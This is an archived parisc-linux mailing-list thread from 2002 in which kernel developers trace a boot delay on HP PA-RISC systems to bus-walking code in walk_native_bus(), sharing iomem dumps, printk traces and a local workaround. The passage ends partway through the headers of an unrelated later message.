X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] boot (micro) hang
Thread-Index: AcJvnQTOu+lUgZTGTay5WwVYSaBBpgAAN12w
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16424

I've seen it on a J200. Just haven't been doing much with it, and stuck
with older kernel until I had time to dig into it.=20

00000000-17ffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002f7fff : Kernel code
  002f8000-003f3677 : Kernel data
f0190000-f0190000 : lcd_cmd
f0190001-f0190001 : lcd_data
f3f80000-f3fbffff : GSC Bus [8/]
  f3f80000-f3f80fff : GSC SCSI (Zalon)
f3fc0000-ffbfffff : GSC Bus [10/]
  fc000000-ffbfffff : EISA
    fc000000-fc000fff : EISA Bus Adapter
ffc00000-ffdfffff : GSC Bus [8/]
  ffd00000-ffdfffff : Lasi
    ffd00000-ffd00fff : Lasi
    ffd02000-ffd02fff : Parallel
    ffd04000-ffd04fff : Lasi Harmony
    ffd05000-ffd05fff : Serial RS232
    ffd06000-ffd06fff : Lasi SCSI
    ffd07000-ffd07fff : Apricot
    ffd08000-ffd08fff : Lasi psaux
ffe00000-ffe3ffff : GSC Bus [10/]
  ffe00000-ffe00fff : Wax
  ffe01000-ffe01fff : HP SDC
  ffe02000-ffe02fff : Serial RS232
fff80000-fffaffff : Central Bus
  fff88000-fff88fff : U2/Uturn
  fff8a000-fff8afff : U2/Uturn
  fffa0000-fffa0fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast


Although I am not 100% certain that it's the same thing, as I've never
waited long enough for that message to go away.

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216


> -----Original Message-----
> From: Ryan Bradetich [mailto:rbradetich@uswest.net]=20
> Sent: Wednesday, October 09, 2002 9:05 AM
> To: phi
> Cc: Grant Grundler; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] boot (micro) hang
>=20
>=20
> *sigh* =20
>=20
> This is due to a change I made to detect devices on the E=20
> class systems.
>=20
> Before we encountered the E Class systems, the devices were always at
> the bottom of the range, but E Class put them at the top. =20
> The function
> will break out once a device is found ... it appears that your system
> also has the devices towards the top of the io range.
>=20
> post the contents of /proc/iomem and I can verify this for sure.  We
> need to come up with a better way for discovering these devices. =20
>=20
> btw, what model system is this?
>=20
> Thanks,
>=20
> - Ryan
>=20
>=20
> P.S. the reason it worked before is because it only walked the first
> 0 - 63 devices with in that range.  Not it walks the entire range
> until it finds a device.
>=20
>=20
> On Wed, 2002-10-09 at 06:44, phi wrote:
> > Grant Grundler wrote:
> > > The long delay happens during device discovery.
> > > You could enable EARLY_BOOTUP_DEBUG in=20
> arch/parisc/kernel/pdc_cons.c
> > > and add some printk's to the loop in system_map_inventory().
> > >=20
> > > Only two pieces of code really get executed during that time.
> > > One is the PDC calls - verify your firmware is the latest=20
> and if it
> > > isn't, please update.  The other might be GSC buswalk=20
> code. I thought
> > > the bus's under U2 are walked to detect devices not listed by PDC.
> > > But I don't know exactly when that occurs in the boot sequence.
> > >=20
> > > grant
> >=20
> > My Firmware is
> >=20
> > Firmware Version  5.2
> > Duplex Console IO Dependent Code (IODC) revision 1
> > Boot IO Dependent Code (IODC) revision 153
> >=20
> >=20
> > Dunno if this is good enuff. At least it works for old kernel.
> >=20
> >=20
> > =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> >=20
> > printk() into walk_native_bus() as follow shos this.
> >=20
> > static void walk_native_bus(unsigned long io_io_low,=20
> unsigned long io_io_high,
> >                             struct parisc_device *parent)
> > {
> >         int i, devices_found =3D 0;
> >         unsigned long hpa =3D io_io_low;
> >         struct hardware_path path;
> >=20
> > printk("1.1 low=3D0x%08x high=3D0x%08x\n",io_io_low,io_io_high);
> >         get_node_path(parent, &path);
> >         do {
> > printk("1.2 i=3D%d hpa=3D0x%08x\n",0,hpa);
> >                 for (i =3D 0; i < MAX_NATIVE_DEVICES; i++, hpa +=3D
> > NATIVE_DEVICE_OF
> > FSET) {
> >                         struct parisc_device *dev;
> >=20
> >                         /* Was the device already added by=20
> Firmware? */
> >                         dev =3D find_device_by_addr(hpa);
> >                         if (!dev) {
> >                                 path.mod =3D i;
> > printk("1.3 i=3D%d hpa=3D0x%08x\n",i,hpa);
> >                                 dev =3D alloc_pa_dev(hpa, &path);
> >                                 if (!dev)
> >                                         continue;
> >=20
> > printk("1.4\n");
> >                                 register_parisc_device(dev);
> >                                 devices_found++;
> >                         }
> >                         walk_lower_bus(dev);
> >                 }
> >         } while (!devices_found && hpa < io_io_high);
> > }
> >=20
> > 1.1 low=3D0xfff80000 high=3D0xfffc0000
> > 1.2 i=3D0 hpa=3D0xfff80000
> > 1.3 i=3D0 hpa=3D0xfff80000
> > 1.3 i=3D1 hpa=3D0xfff81000
> > 1.3 i=3D2 hpa=3D0xfff82000
> > 1.3 i=3D3 hpa=3D0xfff83000
> > 1.3 i=3D4 hpa=3D0xfff84000
> > 1.3 i=3D5 hpa=3D0xfff85000
> > 1.3 i=3D6 hpa=3D0xfff86000
> > 1.3 i=3D7 hpa=3D0xfff87000
> > 1.3 i=3D8 hpa=3D0xfff88000
> > 1.4
> > 1.1 low=3D0xf2000000 high=3D0xf4000000
> > 1.2 i=3D0 hpa=3D0xf2000000
> > 1.3 i=3D1 hpa=3D0xf2001000
> > 1.4
> > 1.3 i=3D2 hpa=3D0xf2002000
> > 1.3 i=3D3 hpa=3D0xf2003000
> > 1.4
> > 1.3 i=3D4 hpa=3D0xf2004000
> > 1.3 i=3D5 hpa=3D0xf2005000
> > 1.3 i=3D6 hpa=3D0xf2006000
> > 1.3 i=3D7 hpa=3D0xf2007000
> > 1.3 i=3D8 hpa=3D0xf2008000
> > 1.3 i=3D9 hpa=3D0xf2009000
> > 1.3 i=3D10 hpa=3D0xf200a000
> > 1.3 i=3D11 hpa=3D0xf200b000
> > 1.3 i=3D13 hpa=3D0xf200d000
> > 1.3 i=3D14 hpa=3D0xf200e000
> > 1.3 i=3D15 hpa=3D0xf200f000
> > 1.3 i=3D16 hpa=3D0xf2010000
> > 1.3 i=3D17 hpa=3D0xf2011000
> > 1.3 i=3D18 hpa=3D0xf2012000
> > 1.3 i=3D19 hpa=3D0xf2013000
> > 1.3 i=3D20 hpa=3D0xf2014000
> > 1.3 i=3D21 hpa=3D0xf2015000
> > 1.3 i=3D22 hpa=3D0xf2016000
> > 1.3 i=3D23 hpa=3D0xf2017000
> > 1.3 i=3D24 hpa=3D0xf2018000
> > 1.3 i=3D25 hpa=3D0xf2019000
> > 1.3 i=3D26 hpa=3D0xf201a000
> > 1.3 i=3D27 hpa=3D0xf201b000
> > 1.3 i=3D28 hpa=3D0xf201c000
> > 1.3 i=3D29 hpa=3D0xf201d000
> > 1.3 i=3D30 hpa=3D0xf201e000
> > 1.3 i=3D31 hpa=3D0xf201f000
> > 1.3 i=3D32 hpa=3D0xf2020000
> > 1.3 i=3D33 hpa=3D0xf2021000
> > 1.3 i=3D34 hpa=3D0xf2022000
> > 1.3 i=3D35 hpa=3D0xf2023000
> > 1.3 i=3D36 hpa=3D0xf2024000
> > 1.3 i=3D37 hpa=3D0xf2025000
> > 1.3 i=3D38 hpa=3D0xf2026000
> > 1.3 i=3D39 hpa=3D0xf2027000
> > 1.3 i=3D40 hpa=3D0xf2028000
> > 1.3 i=3D41 hpa=3D0xf2029000
> > 1.3 i=3D42 hpa=3D0xf202a000
> > 1.3 i=3D43 hpa=3D0xf202b000
> > 1.3 i=3D44 hpa=3D0xf202c000
> > 1.3 i=3D45 hpa=3D0xf202d000
> > 1.3 i=3D46 hpa=3D0xf202e000
> > 1.3 i=3D47 hpa=3D0xf202f000
> > 1.3 i=3D48 hpa=3D0xf2030000
> > 1.3 i=3D49 hpa=3D0xf2031000
> > 1.3 i=3D50 hpa=3D0xf2032000
> > 1.3 i=3D51 hpa=3D0xf2033000
> > 1.3 i=3D52 hpa=3D0xf2034000
> > 1.3 i=3D53 hpa=3D0xf2035000
> > 1.3 i=3D54 hpa=3D0xf2036000
> > 1.3 i=3D55 hpa=3D0xf2037000
> > 1.3 i=3D56 hpa=3D0xf2038000
> > 1.3 i=3D57 hpa=3D0xf2039000
> > 1.3 i=3D58 hpa=3D0xf203a000
> > 1.3 i=3D59 hpa=3D0xf203b000
> > 1.3 i=3D60 hpa=3D0xf203c000
> > 1.3 i=3D61 hpa=3D0xf203d000
> > 1.3 i=3D62 hpa=3D0xf203e000
> > 1.3 i=3D9 hpa=3D0xfff89000
> > 1.3 i=3D10 hpa=3D0xfff8a000
> > 1.4
> > 1.1 low=3D0xf1000000 high=3D0xf2000000
> > 1.2 i=3D0 hpa=3D0xf1000000
> > 1.3 i=3D0 hpa=3D0xf1000000
> > 1.3 i=3D1 hpa=3D0xf1001000
> > 1.3 i=3D2 hpa=3D0xf1002000
> > 1.3 i=3D3 hpa=3D0xf1003000
> > 1.3 i=3D4 hpa=3D0xf1004000
> > 1.3 i=3D5 hpa=3D0xf1005000
> > 1.3 i=3D6 hpa=3D0xf1006000
> > 1.3 i=3D7 hpa=3D0xf1007000
> > 1.3 i=3D8 hpa=3D0xf1008000
> > 1.3 i=3D9 hpa=3D0xf1009000
> > 1.3 i=3D10 hpa=3D0xf100a000
> > 1.3 i=3D11 hpa=3D0xf100b000
> > 1.3 i=3D12 hpa=3D0xf100c000
> > 1.3 i=3D13 hpa=3D0xf100d000
> > 1.3 i=3D14 hpa=3D0xf100e000
> > 1.3 i=3D15 hpa=3D0xf100f000
> > 1.3 i=3D16 hpa=3D0xf1010000
> > 1.3 i=3D17 hpa=3D0xf1011000
> > 1.3 i=3D18 hpa=3D0xf1012000
> > 1.3 i=3D19 hpa=3D0xf1013000
> > 1.3 i=3D20 hpa=3D0xf1014000
> > 1.3 i=3D21 hpa=3D0xf1015000
> > 1.3 i=3D22 hpa=3D0xf1016000
> > 1.3 i=3D23 hpa=3D0xf1017000
> > 1.3 i=3D24 hpa=3D0xf1018000
> > 1.3 i=3D25 hpa=3D0xf1019000
> > 1.3 i=3D26 hpa=3D0xf101a000
> > 1.3 i=3D27 hpa=3D0xf101b000
> > 1.3 i=3D28 hpa=3D0xf101c000
> > 1.3 i=3D29 hpa=3D0xf101d000
> > 1.3 i=3D30 hpa=3D0xf101e000
> > 1.3 i=3D31 hpa=3D0xf101f000
> > 1.3 i=3D32 hpa=3D0xf1020000
> > 1.3 i=3D33 hpa=3D0xf1021000
> > 1.3 i=3D34 hpa=3D0xf1022000
> > 1.3 i=3D35 hpa=3D0xf1023000
> > 1.3 i=3D36 hpa=3D0xf1024000
> > 1.3 i=3D37 hpa=3D0xf1025000
> > 1.3 i=3D38 hpa=3D0xf1026000
> > 1.3 i=3D39 hpa=3D0xf1027000
> > 1.3 i=3D40 hpa=3D0xf1028000
> > 1.3 i=3D41 hpa=3D0xf1029000
> > 1.3 i=3D42 hpa=3D0xf102a000
> > 1.3 i=3D43 hpa=3D0xf102b000
> > 1.3 i=3D44 hpa=3D0xf102c000
> > 1.3 i=3D45 hpa=3D0xf102d000
> > 1.3 i=3D46 hpa=3D0xf102e000
> > 1.3 i=3D47 hpa=3D0xf102f000
> > 1.3 i=3D48 hpa=3D0xf1030000
> > 1.3 i=3D49 hpa=3D0xf1031000
> > 1.3 i=3D50 hpa=3D0xf1032000
> > 1.3 i=3D51 hpa=3D0xf1033000
> > 1.3 i=3D52 hpa=3D0xf1034000
> > 1.3 i=3D53 hpa=3D0xf1035000
> > 1.3 i=3D54 hpa=3D0xf1036000
> > 1.3 i=3D55 hpa=3D0xf1037000
> > 1.3 i=3D56 hpa=3D0xf1038000
> > 1.3 i=3D57 hpa=3D0xf1039000
> > 1.3 i=3D58 hpa=3D0xf103a000
> > 1.3 i=3D59 hpa=3D0xf103b000
> > 1.3 i=3D60 hpa=3D0xf103c000
> > 1.3 i=3D61 hpa=3D0xf103d000
> > 1.3 i=3D62 hpa=3D0xf103e000
> > 1.2 i=3D0 hpa=3D0xf1040000
> > 1.3 i=3D0 hpa=3D0xf1040000
> > 1.3 i=3D1 hpa=3D0xf1041000
> > 1.3 i=3D2 hpa=3D0xf1042000
> > 1.3 i=3D3 hpa=3D0xf1043000
> > 1.3 i=3D4 hpa=3D0xf1044000
> > 1.3 i=3D5 hpa=3D0xf1045000
> > 1.3 i=3D6 hpa=3D0xf1046000
> > 1.3 i=3D7 hpa=3D0xf1047000
> > 1.3 i=3D8 hpa=3D0xf1048000
> > 1.3 i=3D9 hpa=3D0xf1049000
> > 1.3 i=3D10 hpa=3D0xf104a000
> > 1.3 i=3D11 hpa=3D0xf104b000
> > 1.3 i=3D12 hpa=3D0xf104c000
> > 1.3 i=3D13 hpa=3D0xf104d000
> > 1.3 i=3D14 hpa=3D0xf104e000
> > 1.3 i=3D15 hpa=3D0xf104f000
> > 1.3 i=3D16 hpa=3D0xf1050000
> > 1.3 i=3D17 hpa=3D0xf1051000
> > 1.3 i=3D18 hpa=3D0xf1052000
> > 1.3 i=3D19 hpa=3D0xf1053000
> > 1.3 i=3D20 hpa=3D0xf1054000
> > 1.3 i=3D21 hpa=3D0xf1055000
> > 1.3 i=3D22 hpa=3D0xf1056000
> > 1.3 i=3D23 hpa=3D0xf1057000
> > 1.3 i=3D24 hpa=3D0xf1058000
> > 1.3 i=3D25 hpa=3D0xf1059000
> > 1.3 i=3D26 hpa=3D0xf105a000
> > 1.3 i=3D27 hpa=3D0xf105b000
> > 1.3 i=3D28 hpa=3D0xf105c000
> > 1.3 i=3D29 hpa=3D0xf105d000
> > 1.3 i=3D30 hpa=3D0xf105e000
> > 1.3 i=3D31 hpa=3D0xf105f000
> > 1.3 i=3D32 hpa=3D0xf1060000
> > 1.3 i=3D33 hpa=3D0xf1061000
> > 1.3 i=3D34 hpa=3D0xf1062000
> > 1.3 i=3D35 hpa=3D0xf1063000
> > 1.3 i=3D36 hpa=3D0xf1064000
> > 1.3 i=3D37 hpa=3D0xf1065000
> > 1.3 i=3D38 hpa=3D0xf1066000
> > 1.3 i=3D39 hpa=3D0xf1067000
> > 1.3 i=3D40 hpa=3D0xf1068000
> > 1.3 i=3D41 hpa=3D0xf1069000
> > 1.3 i=3D42 hpa=3D0xf106a000
> > 1.3 i=3D43 hpa=3D0xf106b000
> > 1.3 i=3D44 hpa=3D0xf106c000
> > 1.3 i=3D45 hpa=3D0xf106d000
> > 1.3 i=3D46 hpa=3D0xf106e000
> > 1.3 i=3D47 hpa=3D0xf106f000
> > 1.3 i=3D48 hpa=3D0xf1070000
> > 1.3 i=3D49 hpa=3D0xf1071000
> > 1.3 i=3D50 hpa=3D0xf1072000
> > 1.3 i=3D51 hpa=3D0xf1073000
> > 1.3 i=3D52 hpa=3D0xf1074000
> > 1.3 i=3D53 hpa=3D0xf1075000
> > 1.3 i=3D54 hpa=3D0xf1076000
> > 1.3 i=3D55 hpa=3D0xf1077000
> > 1.3 i=3D56 hpa=3D0xf1078000
> > 1.3 i=3D57 hpa=3D0xf1079000
> > 1.3 i=3D58 hpa=3D0xf107a000
> > 1.3 i=3D59 hpa=3D0xf107b000
> > 1.3 i=3D60 hpa=3D0xf107c000
> > 1.3 i=3D61 hpa=3D0xf107d000
> > 1.3 i=3D62 hpa=3D0xf107e000
> > 1.3 i=3D63 hpa=3D0xf107f000
> > 1.2 i=3D0 hpa=3D0xf1080000
> > 1.3 i=3D0 hpa=3D0xf1080000
> > 1.3 i=3D1 hpa=3D0xf1081000
> > 1.3 i=3D2 hpa=3D0xf1082000
> > 1.3 i=3D3 hpa=3D0xf1083000
> > 1.3 i=3D4 hpa=3D0xf1084000
> > 1.3 i=3D5 hpa=3D0xf1085000
> > 1.3 i=3D6 hpa=3D0xf1086000
> > 1.3 i=3D7 hpa=3D0xf1087000
> > 1.3 i=3D8 hpa=3D0xf1088000
> > 1.3 i=3D9 hpa=3D0xf1089000
> > 1.3 i=3D10 hpa=3D0xf108a000
> > 1.3 i=3D11 hpa=3D0xf108b000
> > 1.3 i=3D12 hpa=3D0xf108c000
> > 1.3 i=3D13 hpa=3D0xf108d000
> > 1.3 i=3D14 hpa=3D0xf108e000
> > 1.3 i=3D15 hpa=3D0xf108f000
> > 1.3 i=3D16 hpa=3D0xf1090000
> > 1.3 i=3D17 hpa=3D0xf1091000
> > 1.3 i=3D18 hpa=3D0xf1092000
> > 1.3 i=3D19 hpa=3D0xf1093000
> > 1.3 i=3D20 hpa=3D0xf1094000
> > 1.3 i=3D21 hpa=3D0xf1095000
> > 1.3 i=3D22 hpa=3D0xf1096000
> > 1.3 i=3D23 hpa=3D0xf1097000
> > 1.3 i=3D24 hpa=3D0xf1098000
> > 1.3 i=3D25 hpa=3D0xf1099000
> > 1.3 i=3D26 hpa=3D0xf109a000
> > 1.3 i=3D27 hpa=3D0xf109b000
> > 1.3 i=3D28 hpa=3D0xf109c000
> > 1.3 i=3D29 hpa=3D0xf109d000
> > 1.3 i=3D30 hpa=3D0xf109e000
> > 1.3 i=3D31 hpa=3D0xf109f000
> > 1.3 i=3D32 hpa=3D0xf10a0000
> > 1.3 i=3D33 hpa=3D0xf10a1000
> > 1.3 i=3D34 hpa=3D0xf10a2000
> > 1.3 i=3D35 hpa=3D0xf10a3000
> > 1.3 i=3D36 hpa=3D0xf10a4000
> > 1.3 i=3D37 hpa=3D0xf10a5000
> > 1.3 i=3D38 hpa=3D0xf10a6000
> > 1.3 i=3D39 hpa=3D0xf10a7000
> > 1.3 i=3D40 hpa=3D0xf10a8000
> > 1.3 i=3D41 hpa=3D0xf10a9000
> > 1.3 i=3D42 hpa=3D0xf10aa000
> > 1.3 i=3D43 hpa=3D0xf10ab000
> > 1.3 i=3D44 hpa=3D0xf10ac000
> > 1.3 i=3D45 hpa=3D0xf10ad000
> > 1.3 i=3D46 hpa=3D0xf10ae000
> > 1.3 i=3D47 hpa=3D0xf10af000
> > 1.3 i=3D48 hpa=3D0xf10b0000
> > 1.3 i=3D49 hpa=3D0xf10b1000
> > 1.3 i=3D50 hpa=3D0xf10b2000
> > 1.3 i=3D51 hpa=3D0xf10b3000
> > 1.3 i=3D52 hpa=3D0xf10b4000
> > 1.3 i=3D53 hpa=3D0xf10b5000
> > 1.3 i=3D54 hpa=3D0xf10b6000
> > 1.3 i=3D55 hpa=3D0xf10b7000
> > 1.3 i=3D56 hpa=3D0xf10b8000
> > 1.3 i=3D57 hpa=3D0xf10b9000
> > 1.3 i=3D58 hpa=3D0xf10ba000
> > 1.3 i=3D59 hpa=3D0xf10bb000
> > 1.3 i=3D60 hpa=3D0xf10bc000
> > 1.3 i=3D61 hpa=3D0xf10bd000
> > 1.3 i=3D62 hpa=3D0xf10be000
> > 1.3 i=3D63 hpa=3D0xf10bf000
> > 1.2 i=3D0 hpa=3D0xf10c0000
> >=20
> >=20
> > I am not knowledeable enough to tell if the range to walk=20
> on is valid or not,
> > but it is way too  much for my config.
> >=20
> > I wonder if this functin got the range correctly
> > void walk_lower_bus(struct parisc_device *dev)
> > {
> >         unsigned long io_io_low, io_io_high;
> >=20
> >         if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
> >                 return;
> >=20
> >         io_io_low =3D ((unsigned long)(signed=20
> int)READ_IO_IO_LOW(dev) +
> > ~FLEX_MASK
> > ) & FLEX_MASK;
> >         io_io_high =3D ((unsigned long)(signed=20
> int)READ_IO_IO_HIGH(dev) +
> > ~FLEX_MA
> > SK) & FLEX_MASK;
> >=20
> >         walk_native_bus(io_io_low, io_io_high, dev);
> > }
> >=20
> >=20
> > For the time being I enforce
> >=20
> > io_io_high=3Dio_io_low+(MAX_NATIVE_DEVICES*NATIVE_DEVICE_OFFSET);
> >=20
> > In the above function which as the effect of shortening the=20
> loop and boot ok.
> > Dunno if this hack make sense, may be I would loose some=20
> devices, but I don't
> > plan to add any anyway.
> >=20
> > Phi
> >=20
> >=20
> > --
> > mailto:Philippe_Benard@hp.com [ HPS-SE HP-UX kernel=20
> debugging tools ]
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >=20
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] boot (micro) hang
Date: Wed, 09 Oct 2002 16:20:55 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <3DA43B47.A8AA380D@hpfrcu81.france.hp.com>
References: <3DA2945D.7010301@visoel.de> 
		<3DA2E27B.5708975E@hpfrcu81.france.hp.com>
		<20021008170152.AD42D4839@dsl2.external.hp.com> 
		<3DA424C6.58F6806C@hpfrcu81.france.hp.com> <1034172329.31713.16.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621810 15224 80.91.229.3 (22 Nov 2014 02:03:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:30 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 08:19:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA6094829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 08:19:30 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP
	id 0E70635E; Wed,  9 Oct 2002 16:19:25 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id QAA03486; Wed, 9 Oct 2002 16:20:55 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16425

Ryan Bradetich wrote:
> 
> *sigh*
> 
> This is due to a change I made to detect devices on the E class systems.
> 
> Before we encountered the E Class systems, the devices were always at
> the bottom of the range, but E Class put them at the top.  The function
> will break out once a device is found ... it appears that your system
> also has the devices towards the top of the io range.
> 
> post the contents of /proc/iomem and I can verify this for sure.  We
> need to come up with a better way for discovering these devices.
> 
> btw, what model system is this?
> 


This is a recycled C180 

$ cat /proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8000 (PCX-U)
cpu MHz         : 180.000000
model           : 9000/780/C180
model name      : Raven U 180 (9000/780/C180)
hversion        : 0x000059c0
sversion        : 0x00000481
I-cache         : 1024 KB
D-cache         : 1024 KB (WB)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB fixed      : max. 16384 pages, pagesize=4096 (64MB)
BTLB fix-entr.  : 0 instruction, 0 data (16 combined)
BTLB var-entr.  : 0 instruction, 0 data (0 combined)
bogomips        : 359.62
software id     : 2012010320




$ cat /proc/iomem
00000000-07ffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-002f9fff : Kernel code
  002fa000-003fb7bf : Kernel data
f1000000-f1ffffff : GSC Bus [10/]
f2000000-f3ffffff : GSC Bus [8/]
  f2000000-f2000fff : Dino
  f200c000-f200cfff : GSC SCSI (Zalon)
f4000000-fff7ffff : GSC Bus [8/]
  fa000000-fa000fff : sti (native)
  fa100000-fa4fffff : stifb mmio
  fb000000-fbffffff : stifb
  fc000000-ffbfffff : EISA
    fc000000-fc000fff : EISA Bus Adapter
  ffd00000-ffdfffff : Lasi
    ffd00000-ffd00fff : Lasi
    ffd02000-ffd02fff : Parallel
    ffd04000-ffd04fff : Lasi Harmony
    ffd05000-ffd05fff : Serial RS232
    ffd06000-ffd06fff : Lasi SCSI
    ffd07000-ffd07fff : Apricot
    ffd08000-ffd08fff : Lasi psaux
  ffe00000-ffefffff : Wax
    ffe00000-ffe00fff : Wax
    ffe01000-ffe01fff : HP SDC
    ffe02000-ffe02fff : Serial RS232
fff80000-fffaffff : Central Bus
  fff88000-fff88fff : U2/Uturn
  fff8a000-fff8afff : U2/Uturn
  fffa0000-fffa0fff : CPU
fffb0000-fffdffff : Local Broadcast
fffe0000-ffffffff : Global Broadcast


Cheers,
Phi


From - Thu Nov 08 21:24:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Burning CD Images difficulties: revisited
Date: Wed, 9 Oct 2002 13:26:38 -0300
Lines: 57
Approved: news@gmane.org
Message-ID: <00b601c26fb0$a4ce35a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621810 15228 80.91.229.3 (22 Nov 2014 02:03:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  9 10:27:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hsbcsv16.hsbc.com.br (hsbcsv16.hsbc.com.br [200.208.29.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77E6D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Oct 2002 10:27:09 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv16.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5dd5bf0adfac1c5052358@hsbcsv16.hsbc.com.br> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 9 Oct 2002 13:27:05 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g99GR0H25002
	for <parisc-linux@lists.parisc-linux.org>; Wed, 9 Oct 2002 13:27:00 -0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
